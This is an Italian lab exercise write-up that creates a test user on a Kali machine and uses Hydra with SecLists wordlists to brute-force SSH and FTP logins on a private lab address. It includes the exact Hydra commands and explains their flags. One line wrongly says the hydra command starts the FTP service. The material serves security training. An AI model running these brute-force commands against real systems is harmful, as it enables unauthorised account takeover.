

AUTHENTICATION CRACKING ESERCITAZIONE W14D4

INTRODUZIONE

- L'obiettivo dell'esercitazione è creare un semplice ambiente di test (utente, servizi SSH/FTP) e mostrare come Hydra possa usare wordlist per provare combinazioni utente/password fino a individuare credenziali valide

PREPARAZIONE DELL'AMBIENTE E TEST ACCESSO SSH

- Per la creazione di un account di prova andiamo a utilizzare il comando

sudo adduser test_user

- Come secondo punto andiamo a inserire una password in questo caso useremo **testpass**

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []:  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y
```

una volta configurato l'account possiamo abilitare il demone SSH:

```
(kali㉿kali)-[~]  
$ sudo service ssh start
```

- Prima di procedere andiamo a verificare che il servizio risponda andando a effettuare un login di prova, utilizzando il seguente comando

ssh test_user@192.168.50.100

```
(kali㉿kali)-[~]  
$ ssh test_user@192.168.50.100  
test_user@192.168.50.100's password:  
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.
```

Questa fase serve a confermare che l'utente esiste e che SSH è correttamente in ascolto sull'IP indicato.

PREPARAZIONE DELLA WORDLIST

- Hydra richiede liste di nomi utente e password da provare per questo andiamo a scaricare una **seclists** con il comando

sudo apt install seclists

```
(kali㉿kali)-[~]  
$ sudo apt install seclists  
[sudo] password for kali:  
seclists is already the newest version (2025.2-0kali1).  
The following packages were automatically installed and are no longer required:  
icu-devtools libfuse3-3 libgpg3-1.3.1 liblibfsgs0 libpython3.12-minimal libsigsegv2 libtheoraenc1 linux-image-6.12.13-amd64 python3-pyinstaller-hooks-contrib ruby-zeitwerk  
libabsl20230802 libgda136 libglapi-mesa libgdm14.1 libpython3.12-stdlib libsoup-2.4-1 libudfread0 python3-dunamai python3-requests-ntlm strongswan  
libbrotli1 libgdata-common libhdf5-alt libopenmpi4-7 libpython3.12t64 libsoup2.4-common libudfread0 python3-miscclient python3-tomlkit  
libdm15 libgdata22 libicu-dev libpoppler145 libqt5ct-common1.8 libtheora0 libvpx9 python3-packaging-ghl python3-ehel-ghl python3-12-tk  
libflac12t64 libgpg3-1.3.0 libjxl0.10 libportmidi0 libswscale1 libtheoradec1 libxnnpack0 python3-poetry-dynamic-versioning python3-12-tk  
Use 'sudo apt autoremove' to remove them.  
  
Summary:  
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 4
```

ESECUZIONE DELL'ATTACCO

Per lanciare l'attacco andiamo a utilizzare il seguente comando

hydra -L users.txt -P pass.txt 192.168.50.100 -t 1 ssh -V

```
(kali@kali)-[~]  
$ hydra -L users.txt -P pass.txt 192.168.50.100 -t 1 ssh -V  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
```

Spiegazione tecnica del comando:

- **-L users.txt** → file con gli username da provare.
- **-P pass.txt** → file con le password.
- **192.168.50.100** → indirizzo del target.
- **-t 1** → numero di thread concorrenti.
- **ssh** → modulo da attaccare.
- **-V** → output verboso per tracciare i tentativi.

INSTALLAZIONE E AVVIO DEL SERVIZIO FTP

Per ripetere l'esercizio su FTP si installa un server leggero e sicuro come **vsftpd** con il comando

sudo apt install vsftpd

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)~]
$ sudo apt install vsftpd
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  libbson-1.0-0t64 libmongoc-1.0-0t64 libmongocrypt0
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd
```

per lanciare il servizio utilizziamo un comando simile a quello per ssh ovvero

hydra -L users.txt -P pass.txt 192.168.50.100 -t 4 ftp

```
(kali@kali)~]
$ sudo service vsftpd start

(kali@kali)~]
$ hydra -L users.txt -P pass.txt 192.168.50.100 -t 4 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
```